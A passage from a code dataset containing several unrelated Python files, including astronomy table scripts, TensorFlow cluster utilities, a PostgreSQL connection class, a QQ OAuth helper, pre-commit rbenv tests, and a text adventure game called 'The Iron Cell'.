targets[notvariable_ones].iterrows():\n want = novar_stats['# TIC'] == t['ticid']\n min_short = np.min(novar_stats[want]['short'])\n min_long = np.min(novar_stats[want]['long'])\n min_large = np.min(novar_stats[want]['3siglarge'])\n newstat = p.DataFrame({'ticid':str(int(t['ticid'])),'name':t['name'], \n 'crowdsap':t['crowdsap'], \n 'short':[min_short],'long':[min_long], \n 'large':[min_large]})\n #print(newstat)\n stats = stats.append(newstat) \n\ntabfile = \"/Users/smullally/Science/tess_monitor_standards/paper/novar_stats.tab\"\nstats.to_latex(buf=tabfile, column_format='lllrrr', index = False,\n columns = ['name','ticid','crowdsap','short','long','large'],\n float_format = \"%.4f\")\n\n\n#%%\n#Target Table\nfrom astroquery.mast import Catalogs\nfrom astropy.coordinates import SkyCoord\ntarget_name_file = \"/Users/smullally/Science/tess_monitor_standards/paper/target_names.csv\"\ntargets = p.read_csv(target_name_file,delimiter=',', header=\"infer\")\n\nticids = np.array(targets['ticid'])\ntic_data = Catalogs.query_criteria(catalog=\"Tic\",ID = ticids)\ntic_data.add_column('skycoord')\n\n#for i,tic in enumerate(tic_data['ID']):\nsc = SkyCoord(tic_data['ra'], tic_data['dec'],unit='deg',frame='icrs')\nskycoordstr = sc.to_string('hmsdms', precision=0)\ntic_data['skycoord'] = skycoordstr\ntic_p = tic_data.to_pandas()\n\n#tic_data[['ID','Tmag','Teff','logg','skycoord']]\n\ntarg_tab = p.DataFrame({'ticid':[],'name':[],'coord':[],'Tmag':[],'sptype':[],'cadence':[]})\nfor i,t in targets.iterrows():\n want = tic_p['ID'].astype(int) == int(t['ticid'])\n tmag = \"%.1f\" % float(tic_p[want]['Tmag'])\n scstr = tic_p[want]['skycoord'].item()\n row = p.DataFrame({'ticid':[str(int(t['ticid']))],'name':[t['name']],\n 'coord':[scstr],'Tmag':[tmag],\n 'sptype':[t['sptype']],'cadence':[t['dtype']]})\n targ_tab = targ_tab.append(row)\n\ntarg_file = \"/Users/smullally/Science/tess_monitor_standards/paper/target_table.tab\" \ntarg_tab.to_latex(buf = targ_file, column_format = \"llllll\", index=False, \n columns = ['name','ticid','sptype','Tmag','cadence','coord']) ","sub_path":"paper_plots_tables.py","file_name":"paper_plots_tables.py","file_ext":"py","file_size_in_byte":12290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"505012392","text":"import tensorflow as tf\nimport horovod.tensorflow as hvd\nfrom tensorflow.python.platform import flags\nimport pdb\n\nFLAGS = None\nMAX_GPUS_PER_NODE = 8\n\ndef get_cluster_manager(flags, config_proto):\n \"\"\"Returns the cluster manager to be used.\"\"\"\n global FLAGS\n FLAGS = flags\n return GrpcClusterManager(config_proto)\n\ndef get_pipeline_devices(num_devices):\n # Not pipeline, used for baseline test on single GPU.\n if not FLAGS:\n return ['/gpu:0', '/gpu:0']\n #return ['/job:localhost/replica:0/task:0/device:GPU:0', '/job:localhost/replica:0/task:0/device:GPU:0']\n # Pipeline case\n devices = []\n if FLAGS.job_name == \"\":\n FLAGS.job_name = \"localhost\"\n for i in xrange(num_devices):\n gpu_id = hvd.local_rank() * FLAGS.num_replica\n if FLAGS.num_replica > MAX_GPUS_PER_NODE:\n if i == 1:\n gpu_id = FLAGS.num_replica % MAX_GPUS_PER_NODE\n \n devices.append(\"/job:%s/replica:0/task:%d/device:GPU:%d\" % \n (FLAGS.job_name, i, gpu_id))\n print(\"QQ: devices:\")\n print(devices)\n return devices\n\ndef get_replica_devices(num_replica):\n devices = []\n for i in xrange(num_replica):\n devices.append(\"/job:%s/replica:0/task:%d/device:GPU:%d\" % (FLAGS.job_name, \\\n i / MAX_GPUS_PER_NODE, \\\n i % MAX_GPUS_PER_NODE))\n return devices\n\ndef get_inner_replica_devices(num_replica):\n devices = []\n for i in xrange(num_replica):\n devices.append(\"/gpu:%d\" % (hvd.local_rank() * num_replica + i))\n return devices\n\n\nclass BaseClusterManager(object):\n \"\"\"The manager for the cluster of servers running the fast-nn.\"\"\"\n\n def __init__(self):\n assert FLAGS.job_name in ['worker', None, ''], 'job_name must be worker'\n if FLAGS.job_name and FLAGS.worker_hosts:\n ip_list = FLAGS.worker_hosts.split(',')\n worker_hosts = []\n for i, ip in enumerate(ip_list):\n worker_hosts.append(ip + \":\" + str(4323 + i * 1000 + hvd.local_rank()))\n print(worker_hosts)\n cluster_dict = {'worker': worker_hosts}\n else:\n cluster_dict = {'worker': ['127.0.0.1:0']}\n\n self._num_workers = len(cluster_dict['worker'])\n self._cluster_spec = tf.train.ClusterSpec(cluster_dict)\n self._device_exp = tf.train.replica_device_setter(\n worker_device=\"/job:worker/task:%d/\" % FLAGS.task_index,\n cluster=self._cluster_spec)\n\n def get_target(self):\n \"\"\"Returns a target to be passed to tf.Session().\"\"\"\n raise NotImplementedError('get_target must be implemented by subclass')\n\n def get_cluster_spec(self):\n return self._cluster_spec\n\n def num_workers(self):\n return self._num_workers\n\n def device_exp(self):\n return self._device_exp\n\n\nclass GrpcClusterManager(BaseClusterManager):\n \"\"\"A cluster manager for a cluster networked with gRPC.\"\"\"\n\n def __init__(self, config_proto):\n super(GrpcClusterManager, self).__init__()\n self._server = tf.train.Server(self._cluster_spec,\n job_name=FLAGS.job_name,\n task_index=FLAGS.task_index,\n config=config_proto,\n protocol='grpc')\n # hang the non-chief workers\n if FLAGS.cross_pipeline:\n if FLAGS.task_index != 0:\n self._server.join()\n\n self._target = self._server.target\n\n def get_target(self):\n return self._target\n","sub_path":"gnmt/nmt/common/cluster_utils.py","file_name":"cluster_utils.py","file_ext":"py","file_size_in_byte":3409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"283049807","text":"from logger_base import log\nimport sys\nimport psycopg2 as db\n\n\nclass Conexion:\n _DATABASE = 'new_db'\n _USERNAME = 'sergio'\n _PASSWORD = 'admin'\n _DB_PORT = '5432'\n _HOST = '127.0.0.1'\n _conexion = None\n _cursor = None\n\n @classmethod\n def obtenerConexion(cls):\n if cls._conexion is None:\n try:\n cls._conexion = db.connect(\n host=cls._HOST,\n user=cls._USERNAME,\n password=cls._PASSWORD,\n port=cls._DB_PORT,\n database=cls._DATABASE)\n \n log.debug(f'Conexion exitosa: {cls._conexion}')\n return cls._conexion\n \n except Exception as e:\n log.debug(f'Ocurrion una excepcion al obtener conixion {e}')\n sys.exit()\n else:\n return cls._conexion\n \n @classmethod\n def obtenerCursor(cls):\n if cls._cursor is None:\n try:\n cls._cursor = cls.obtenerConexion().cursor()\n log.debug(f'Se abrio correctamente el cursor: {cls._cursor}')\n return cls._cursor\n \n except Exception as e:\n log.error(f'Ha ocurrido un error al obtener el curosr {e} ')\n sys.exit()\n\nif __name__ == '__main__':\n Conexion.obtenerConexion()\n Conexion.obtenerCursor()","sub_path":"postgres_python/1_capa_datos_python/conexion.py","file_name":"conexion.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"631774428","text":"import pytest\nfrom utils.api import Api\n\n\n@pytest.fixture()\ndef authentication():\n api = Api()\n response = api.login()\n\n assert 200 == response.status_code\n assert True == (\"Welcome to the Secure Area.\" in response.text)\n","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"252180396","text":"from __future__ import unicode_literals\n\nimport os.path\n\nfrom pre_commit.languages.ruby import _install_rbenv\n\n\ndef test_install_rbenv(cmd_runner):\n _install_rbenv(cmd_runner)\n # Should have created rbenv directory\n assert os.path.exists(cmd_runner.path('rbenv'))\n # We should have created our `activate` script\n activate_path = cmd_runner.path('rbenv', 'bin', 'activate')\n assert os.path.exists(activate_path)\n\n # Should be able to activate using our script and access rbenv\n cmd_runner.run(\n [\n 'bash',\n '-c',\n '. {prefix}/rbenv/bin/activate && rbenv --help',\n ],\n )\n\n\ndef test_install_rbenv_with_version(cmd_runner):\n _install_rbenv(cmd_runner, version='1.9.3p547')\n\n # Should be able to activate and use rbenv install\n cmd_runner.run(\n [\n 'bash',\n '-c',\n '. {prefix}/rbenv/bin/activate && rbenv install --help',\n ],\n )\n","sub_path":"tests/languages/ruby_test.py","file_name":"ruby_test.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"407103897","text":"'''\nREfaça o desafio 51 lendo o primeiro termo e a razao de uma PA\nmostre os 10 primeiros termos usando while\n'''\nprimeiro = int(input(\"diga o primeiro termo\"))\nrazao = int(input(\"Diga a razao\"))\ntermo = primeiro\ncont = 1\nwhile cont <= 10:\n print(termo)\n termo += razao\n cont += 1\nprint(\"fim\")","sub_path":"ex061/exercicio061.py","file_name":"exercicio061.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"20870737","text":"# _*_coding:utf-8_*_\n# 日期:2020/12/2 时间:下午9:09\n# 加油!\nfrom urllib.parse import urlencode, parse_qs\nfrom urllib.request import urlopen\nfrom django.conf import settings\nfrom itsdangerous import TimedJSONWebSignatureSerializer as TimedJson, BadData\n\n\nclass QQLoginTool(object):\n \"\"\" qq登录工具\"\"\"\n def __init__(self, client_id=None, client_secret=None, redirect_uri=None, state=None):\n self.client_id = client_id or settings.QQ_CLIENT_ID\n self.client_secret = client_secret or settings.QQ_CLIENT_SECRET\n self.redirect_uri = redirect_uri or settings.QQ_REDIRECT_URI\n self.state = state or settings.QQ_STATE\n\n def get_login_code(self):\n \"\"\" 获取登录地址的code \"\"\"\n url = \"https://graph.qq.com/oauth2.0/authorize?\"\n params = {\n 'response_type': 'code',\n 'client_id': self.client_id,\n 'redirect_uri': self.redirect_uri,\n 'state': self.state\n }\n url += urlencode(params)\n print('登录地址:', url)\n return url\n\n def get_access_token(self, code):\n \"\"\" 获取access_token \"\"\"\n url = 'https://graph.qq.com/oauth2.0/token?'\n params = {\n 'grant_type': 'authorization_code',\n 'client_id': self.client_id,\n 'client_secret': self.client_secret,\n 'redirect_uri': self.redirect_uri,\n 'code': code,\n }\n url += urlencode(params) # 拼接url\n res_data = urlopen(url).read().decode()\n # 通过qs将字符串转成字典\n dict_data = parse_qs(res_data)\n print('qs转换后:', dict_data)\n access_token = dict_data['access_token']\n print(access_token)\n return access_token\n\n def get_openid(self, access_token):\n \"\"\" 获取openid\"\"\"\n url = 'https://graph.qq.com/oauth2.0/me?access_token=' + access_token[0]\n print(url)\n\n res_data = urlopen(url).read().decode()\n openid = res_data[45:-6]\n print('openid数据:', openid)\n return openid\n\n @staticmethod\n def generate_save_user_token(openid):\n \"\"\" 生成保存用户数据需要的token \"\"\"\n # 使用itsdangerous模块下的TimedJSONWebSignatureSerializer进行保密和解密\n t = TimedJson(settings.SECRET_KEY, 300)\n # 构造自己的数据将他进行加密\n data = {\n 'openid': openid,\n }\n # 生成的时候需要解码\n token = t.dumps(data).decode()\n return token\n\n @staticmethod\n def check_save_user_token(token):\n \"\"\" 用来上一步加密数据的解码 \"\"\"\n t = TimedJson(settings.SECRET_KEY) # 传入加密时的key\n try:\n data = t.loads(token)\n print('这是解密后的数据:', data)\n except BadData:\n # 如果解密失败会报BadData错误\n return None\n else:\n return data.get('openid')\n\n\n\n\n\n\n\n","sub_path":"apps/oauth/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"272609937","text":"#===IMPORTS===#\r\nimport time\r\nfrom time import sleep\r\nimport keyboard\r\nimport sys\r\n\r\n\r\n#===GLOBAL_VARIABLES===#\r\nglobal textSpeed\r\ntextSpeed = 0.04\r\n\r\nglobal currentRoom\r\ncurrentRoom = 'cell'\r\n\r\nglobal availableRooms\r\navailableRooms = ['dungeon']\r\n\r\n\r\n#=====FUNCTIONS=====#\r\n\r\n#---rooms---#\r\ndef enterCell():\r\n write('> You walk into the small cell. Then you wonder why you walked in here. There is nothing here.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'cell'\r\n availableRooms = ['dungeon']\r\n\r\ndef enterDungeon():\r\n write('> You emerge into a dank dungeon. Sickly sweet smells emanate from the dark corners of the room.')\r\n write('> There is a small staircase bunched into the corner leading upwards.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'dungeon'\r\n availableRooms = ['cell', 'storageRoom']\r\n\r\ndef enterStorageRoom():\r\n write('> The room is small and stuffy. It looks like some sort of Storage room.')\r\n write('>The only light source is a flickering bulb hanging from the ceiling by it\\'s cord.')\r\n write('> A staircase winds downward to the dungeon and lone door leads elsewhere.')\r\n\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'storageRoom'\r\n availableRooms = ['dungeon', 'entranceHall']\r\n\r\ndef enterEntranceHall():\r\n write('> You walk into a colossal entrance hall. The entrance to the manor has been boarded up.')\r\n write('> There are 3 doors leading to different rooms, and a staircase leading upward.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'entranceHall'\r\n availableRooms = ['storageRoom', 'diningHall', 'livingRoom', 'secondFloor']\r\n\r\ndef enterLivingRoom():\r\n write('> You enter what appears to be a Living room. Chairs and tables lay thrown about the room.')\r\n write('> You can see two doors, one leading to the Dining room and another to the Entrance Hall.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'livingRoom'\r\n availableRooms = ['diningHall', 'entranceHall']\r\n\r\ndef enterDiningHall():\r\n write('> You walk into a huge dining hall. It was obviously meant to host many dozens of guests, but it now lies empty.')\r\n write('> There is a door leading to a Kitchen, the Entrance Hall and the Living room.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'diningHall'\r\n availableRooms = ['entranceHall', 'kitchen', 'livingRoom', 'secondFloor']\r\n\r\ndef enterKitchen():\r\n write('> A deathly smell seeps from the Kitchen. Rotten foods are strewn across the blood soaked floor. You feel sick.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'kitchen'\r\n availableRooms = ['diningHall']\r\n\r\ndef enterSecondFloor():\r\n write('> The second floor is a balcony level above the entrance hall.')\r\n write('> The two sides are lined with servant quarters and the Library entrance sits along the front wall.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'secondFloor'\r\n availableRooms = ['sq1', 'sq2', 'sq3', 'sq4', 'sq5', 'sq6', 'sq7', 'sq8', 'greatLibrary']\r\n\r\ndef entersq1():\r\n write('> This Servant Quarter is immaculate. Perfectly neat, not even a crease in the bed. The cabinet shows no traces of dust.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'sq1'\r\n availableRooms = ['secondFloor']\r\n\r\ndef entersq2():\r\n write('> This Servant Quarter looks to have been quickly abandoned. The bedside cabinet was knocked over by someone in a hurry.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'sq2'\r\n availableRooms = ['secondFloor']\r\n\r\ndef entersq3():\r\n write('> This Servant Quarter\\'s bedsheet has been ripped in half and left on the floor.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'sq3'\r\n availableRooms = ['secondFloor']\r\n\r\ndef entersq4():\r\n write('> This Servant Quarter has nothing out of the ordinary.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'sq4'\r\n availableRooms = ['secondFloor']\r\n\r\ndef entersq5():\r\n write('> This Servant Quarter has an empty glass laying on the bare mattress.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'sq5'\r\n availableRooms = ['secondFloor']\r\n\r\ndef entersq6():\r\n write('> This Servant Quarter has bloodstains on the roof.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'sq6'\r\n availableRooms = ['secondFloor']\r\n\r\ndef entersq7():\r\n write('> This Servant Quarter is empty, save for the pools of blood and abandoned tools.')\r\n write('> It is more a cell than a Servant Quarter. You wonder what happened here. ')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'sq7'\r\n availableRooms = ['secondFloor']\r\n\r\ndef entersq8():\r\n write('> This Servant Quarter has a crack in the wall as if hit with a heavy tool.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'sq8'\r\n availableRooms = ['secondFloor']\r\n\r\ndef enterLibrary():\r\n write('> You walk into the Great Library. It contains thousands of books, displayed on countless shelves that reach in to the roof.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'greatLibrary'\r\n availableRooms = ['secondFloor']\r\n\r\ndef enterWaitingChamber():\r\n write('> The Waiting Chamber consists of a small desk with ink and a ledger.')\r\n write('> A chair rests in the centre of the room laying on it\\'s side')\r\n write('> There are three wooden doors with the words, \"Luther\", \"Hans\" and \"Klaus\" engraved on to each respectively.')\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'waitingChamber'\r\n availableRooms = ['scientist', 'officer', 'overseer', 'secondFloor']\r\n\r\ndef enterScientist():\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'scientist'\r\n availableRooms = ['waitingChamber']\r\n write('> You walk into the room lableed \"Luther\"')\r\n write('> [REDACTED]')\r\n\r\ndef enterOfficer():\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'officer'\r\n availableRooms = ['waitingChamber']\r\n write('> You walk into the room labelled \"Hans\"')\r\n write('> [REDACTED]')\r\n\r\ndef enterOverseer():\r\n global currentRoom\r\n global availableRooms\r\n currentRoom = 'overseer'\r\n availableRooms = ['waitingChamber']\r\n write('> You walk into the room labelled \"Klaus\"')\r\n write('> [REDACTED]')\r\n\r\n\r\n#---commands---#\r\ndef error():\r\n write('> Type \"help\" for a list of commands.')\r\n\r\ndef help():\r\n #when the user types help this will display all the commands available\r\n write('> Type \"look\" to see a description of your surroundings.'), sleep(0.2)\r\n write('> Type \"inspect\" and then an object to obtain a description of it.'), sleep(0.2)\r\n write('> Type \"use\" followed by a door or stairs to walk through it, E.G. \"use cell door, use dungeon stairs.\"'), sleep(0.2)\r\n write('> Type \"save\" to save your progress. [WIP]'), sleep(0.2)\r\n write('> Type \"load\" to load your previous save. [WIP]'), sleep(0.2)\r\n write('> Type \"quit\" to exit the game.'), sleep(0.2)\r\n write('> type \"help\" to see these options again.')\r\n\r\ndef look():\r\n #defines what is around the player\r\n if currentRoom == 'cell':\r\n write('> You are sitting against a cold cement wall.')\r\n write('> Through the darkness you see heavy iron chains dangling from the roof. There is nothing else in the room.')\r\n write('> A small iron door sits in the corner of the room, leading to the dungeon.')\r\n\r\n elif currentRoom == 'dungeon':\r\n write('> The cold walls of the dungeon press the room tightly together.')\r\n write('> There are various tools on the floor. A bloodstained hammer, A syringe and an empty vial.')\r\n write('> ')\r\n\r\n elif currentRoom == 'livingRoom':\r\n write('> You enter into a large carpeted space with tables and chairs sprawled as if the occupants had left in a hurry.')\r\n write('> There are display cabinets lined with dozens of trophies and awards that have no meaning to you. Many of them are smashed and broken.')\r\n write('> A window takes up most of one wall. You see large cracks as if someone had tried to break it. There are blood splatters on the carpet.')\r\n write('> Beyond the window, the sun shines upon an endless feild yeilding dying crops.')\r\n\r\ndef inspect():\r\n #the users current available objects to inspect\r\n write('> Inspect is [WIP]') #need to make a list of every object interactable with the user\r\n\r\ndef save():\r\n #will save the game\r\n write('> Save is [WIP]')\r\n\r\ndef load():\r\n #will load the latest save\r\n write('> Load is [WIP]')\r\n\r\ndef quit():\r\n #exits the program\r\n write('> Later Loser')\r\n sys.exit()\r\n\r\ndef userinput():\r\n #This function will be called anytime input is required from the user (a lot)\r\n\r\n #begins a loop so that the program will ask for input over and over for the game.\\\r\n loop = True\r\n while loop == True:\r\n userInput = input('> ').lower()\r\n\r\n #checks if the user asks for any of the commands.\r\n if userInput == 'help':\r\n help()\r\n\r\n\r\n elif userInput == 'look':\r\n look()\r\n\r\n elif userInput == 'inventory':\r\n inv()\r\n\r\n elif 'inspect' in userInput:\r\n inspect()\r\n\r\n elif 'use' in userInput:\r\n\r\n if 'door' in userInput:\r\n\r\n #--single door rooms--#\r\n if currentRoom == 'cell':\r\n enterDungeon()\r\n\r\n elif currentRoom == 'dungeon':\r\n enterCell()\r\n\r\n elif currentRoom == 'storageRoom':\r\n enterEntranceHall()\r\n\r\n elif currentRoom == 'kitchen':\r\n enterDiningHall()\r\n\r\n elif currentRoom == 'greatLibrary':\r\n enterSecondFloor()\r\n\r\n elif currentRoom == 'sq1':\r\n enterSecondFloor()\r\n\r\n elif currentRoom == 'sq2':\r\n enterSecondFloor()\r\n\r\n elif currentRoom == 'sq3':\r\n enterSecondFloor()\r\n\r\n elif currentRoom == 'sq4':\r\n enterSecondFloor()\r\n\r\n elif currentRoom == 'sq5':\r\n enterSecondFloor()\r\n\r\n elif currentRoom == 'sq6':\r\n enterSecondFloor()\r\n\r\n elif currentRoom == 'sq7':\r\n enterSecondFloor()\r\n\r\n elif currentRoom == 'sq8':\r\n enterSecondFloor()\r\n\r\n elif currentRoom == 'scientist':\r\n enterWaitingChamber()\r\n\r\n elif currentRoom == 'officer':\r\n enterWaitingChamber()\r\n\r\n elif currentRoom == 'overseer':\r\n enterWaitingChamber()\r\n\r\n #--multi door rooms --#\r\n elif currentRoom == 'entranceHall':\r\n\r\n if 'dining' in userInput:\r\n enterDiningHall()\r\n\r\n elif 'living' in userInput:\r\n enterLivingRoom()\r\n\r\n elif 'storage' in userInput:\r\n enterStorageRoom()\r\n\r\n else:\r\n write('> You can see the Dining Hall door, the Living Room door and the Storage Room door')\r\n\r\n elif currentRoom == 'livingRoom':\r\n\r\n if 'entrance' in userInput:\r\n enterEntranceHall()\r\n\r\n\r\n elif 'dining' in userInput:\r\n enterDiningHall()\r\n\r\n else:\r\n write('> You can see the Dining Hall door and the Entrace Hall door')\r\n\r\n elif currentRoom == 'diningHall':\r\n\r\n if 'living' in userInput:\r\n enterLivingRoom()\r\n\r\n elif 'entranceHall' in userInput:\r\n enterEntranceHall()\r\n\r\n elif 'kitchen' in userInput:\r\n enterKitchen()\r\n\r\n else:\r\n write('> You can see the Entrance Hall door, the Kitchen door and the Living Room door')\r\n\r\n elif currentRoom == 'waitingChamber':\r\n\r\n if 'luther ' in userInput:\r\n enterScientist()\r\n\r\n elif 'hans' in userInput:\r\n enterOfficer()\r\n\r\n elif 'klaus' in userInput:\r\n enterOverseer()\r\n\r\n else:\r\n write('> You can see the Scientist\\'s door, the Officer\\'s door and the Overseer\\'s door.')\r\n\r\n elif currentRoom == 'secondFloor':\r\n\r\n if 'library' in userInput:\r\n enterLibrary()\r\n\r\n elif 'sq1' in userInput:\r\n\r\n entersq1()\r\n\r\n elif 'sq2' in userInput:\r\n entersq2()\r\n\r\n elif 'sq3' in userInput:\r\n entersq3()\r\n\r\n elif 'sq4' in userInput:\r\n entersq4()\r\n\r\n elif 'sq5' in userInput:\r\n entersq5()\r\n\r\n elif 'sq6' in userInput:\r\n entersq6()\r\n\r\n elif 'sq7' in userInput:\r\n entersq7()\r\n\r\n elif 'sq8' in userInput:\r\n entersq8()\r\n\r\n else:\r\n write('> There are 8 servant quarters lined against the walls of the balcony floor. Type \"sq1\" - \"sq8\" to enter them')\r\n write('> There is also a large oak door leading to the Library')\r\n\r\n else:\r\n error()\r\n\r\n\r\n\r\n elif 'stair' in userInput:\r\n\r\n if currentRoom == 'dungeon':\r\n write('> You climb up the old wooden stairs. They creak beneath your feet.')\r\n enterStorageRoom()\r\n\r\n elif currentRoom == 'storageRoom':\r\n write('> You step down into the darkness.')\r\n enterDungeon()\r\n\r\n elif currentRoom == 'entranceHall':\r\n write('> You walk over to the illustrious stairwell and climb up the gold laced steps.')\r\n enterSecondFloor()\r\n\r\n elif currentRoom == 'secondFloor':\r\n write('> There are two staircases, one leads upward, the other downward. Type \"up\" to move up or \"down\" to move down.')\r\n stairChoice = input('> ')\r\n\r\n if stairChoice == 'up':\r\n write('> You ascend the dazzling staircase to the third floor.')\r\n enterWaitingChamber()\r\n\r\n elif stairChoice == 'down':\r\n write('> You take the glorious staircase down to the first floor.')\r\n enterEntranceHall()\r\n\r\n else:\r\n error()\r\n\r\n elif currentRoom == 'waitingChamber':\r\n write('> You walk down the lavish staircase to the second floor.')\r\n enterSecondFloor()\r\n\r\n else:\r\n error()\r\n\r\n else:\r\n error()\r\n\r\n elif userInput == 'save':\r\n save()\r\n\r\n elif userInput == 'load':\r\n load()\r\n\r\n elif userInput == 'quit':\r\n quit()\r\n\r\n else:\r\n error()\r\n\r\n\r\n#---other---#\r\ndef write(text):\r\n #creates the function for text speed\r\n for i in text:\r\n sys.stdout.write(i)\r\n sys.stdout.flush()\r\n time.sleep(textSpeed)\r\n print('')\r\n\r\n\r\n#---game---#\r\ndef intro():\r\n # displays the introduction information and commands, and asks the user for a type speed\r\n areYouSure = 'n'\r\n while areYouSure == 'n':\r\n global textSpeed\r\n textSpeed = 0.08\r\n write('> Select a type speed: ')\r\n write('> Type \"speed 1\" to select this typing speed for the rest of the game.')\r\n\r\n textSpeed = 0.04\r\n write('> Type \"speed 2\" to select this typing speed for the rest of the game.')\r\n\r\n textSpeed = 0.01\r\n write('> Type \"speed 3\" to select this typing speed for the rest of the game.')\r\n textSpeedAnswer = input('> ').lower()\r\n\r\n if textSpeedAnswer == 'speed 1':\r\n textSpeed = 0.08\r\n write('> This will be the speed of the text for the rest of the game. Are you sure? (y/n)')\r\n areYouSure = input().lower()\r\n\r\n elif textSpeedAnswer == 'speed 2':\r\n textSpeed = 0.04\r\n write('> This will be the speed of the text for the rest of the game. Are you sure? (y/n)')\r\n areYouSure = input().lower()\r\n\r\n elif textSpeedAnswer == 'speed 3':\r\n textSpeed = 0.01\r\n write('> This will be the speed of the text for the rest of the game. Are you sure? (y/n)')\r\n areYouSure = input('> ').lower()\r\n\r\n if areYouSure == 'y':\r\n print(' ')\r\n write('> Welcome to The Iron Cell version 0.0.1')\r\n write('> The game is still in development so many aspects are works in progress [WIP].')\r\n write('> Rule 1. Never highlight any area of the CMD line, the program will stop.')\r\n write('> Rule 2. Never press any buttons when the game is typing. Only press buttons when prompted.')\r\n write('> Rule 3. If you find any bugs, plot holes or other issues please let me know.')\r\n write('> This is only a test build, any [WIP] commands will do nothing.')\r\n write('> The commands are as follows:')\r\n help()\r\n write('> Good luck. \\n'),\r\n print('---------------------')\r\n write('Press Enter to begin.')\r\n print('---------------------')\r\n\r\n #press enter to begin\r\n while True:\r\n if keyboard.is_pressed('Enter'):\r\n main()\r\n\r\ndef main():\r\n #game opening sequence\r\n write('\\n> You awake.'), sleep(0)\r\n write('> Your head hurts.'), sleep(0)\r\n write('> You cannot remember anything.'), sleep(0)\r\n write('> It is dark.'), sleep(0)\r\n write('> You realise you are not wearing any clothes.')\r\n\r\n userinput()\r\n\r\n\r\n#===ARRAYS===#\r\n\r\n#---objects---#\r\n'''\r\ncell fakewall\r\ncell chains\r\ncell wall\r\ndungeon hammer\r\ndungeon syringe\r\ndungeon vial\r\nstorage room supplies\r\nentrance hall chandelier\r\nentrance hall paintings\r\n'''\r\n\r\n\r\n#---rooms---#\r\ncell = 0\r\ndungeon = 0\r\nstorageRoom = 0\r\nentranceHall = 0\r\nlivingRoom = 0\r\ndiningHall = 0\r\ndiningKitchen = 0\r\ngreatLibrary = 0\r\nsecondFloor = 0\r\nsq1 = 0\r\nsq2 = 0\r\nsq3 = 0\r\nsq4 = 0\r\nsq5 = 0\r\nsq6 = 0\r\nsq7 = 0\r\nbloodiedRoom = 0\r\nwaitingChamber = 0\r\nscientist = 0\r\nofficer = 0\r\noverseer = 0\r\n\r\n\r\n#===EXECUTE===#\r\nintro()\r\n\r\nmain()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#===NOTES===#\r\n\r\n#Livingroom look\r\n\r\n\r\n#---known_issues---#\r\n#if a room has a single door, typing 'use' and 'door' will always use the door, no matter if there are other words like a door specification\r\n\r\n#---testing---#\r\n#first time entry vs standard entry. does that detract from the experience.\r\n#is writing text too slow, is it worth having. what speeds are good.\r\n#spelling errors, full stops, ect.\r\n#is navigation too fiddly? I obviously know the map well and I cant judge how easy it is to navigate and remember rooms\r\n#anytime i reference a room it needs to be capitalised\r\n\r\n\r\n#---credits---#\r\n#created by Will Olijnyk\r\n#special thanks to playtesters and creative associates Jordan McDonald and Daniel Bowering\r\n#project started on 16/4/19\r\n","sub_path":"theironcell.py","file_name":"theironcell.py","file_ext":"py","file_size_in_byte":19850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"439990597","text":"from sklearn import linear_model\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\ndef dataset():\r\n df = pd.read_csv('Japanese_data.csv')\r\n df.iloc[:,0] -= df.iloc[0,0]-1\r\n\r\n\r\n X = np.array(df.iloc[:,0]).reshape(-1,1)\r\n y = np.array(df.iloc[:,1]).reshape(-1,1)\r\n \r\n return X,y\r\n\r\ndef linear_regression(X,y):\r\n clf1 = linear_model.LinearRegression()\r\n clf2 = linear_model.LinearRegression()\r\n \r\n max_corr = 0\r\n max_corr2 = 0\r\n for i in range(3,len(X)):\r\n clf1.fit(X[:i],y[:i])\r\n clf2.fit(X[i:],y[i:])\r\n \r\n corr = clf1.score(X[:i],y[:i])+clf2.score(X[i:],y[i:])\r\n corr2 = clf1.score(X[:i],y[:i])**2+clf2.score(X[i:],y[i:])**2\r\n \r\n if corr>max_corr:\r\n point = i\r\n max_corr = corr\r\n if corr2>max_corr2:\r\n point2 = i\r\n max_corr2 = corr2\r\n \r\n print('point: ',point, ' point2: ',point2)\r\n print('corr: ',max_corr, ' corr2: ',max_corr2)\r\n\r\n return point,point2\r\n\r\ndef graph(X,y,point,graph_num):\r\n clf1 = 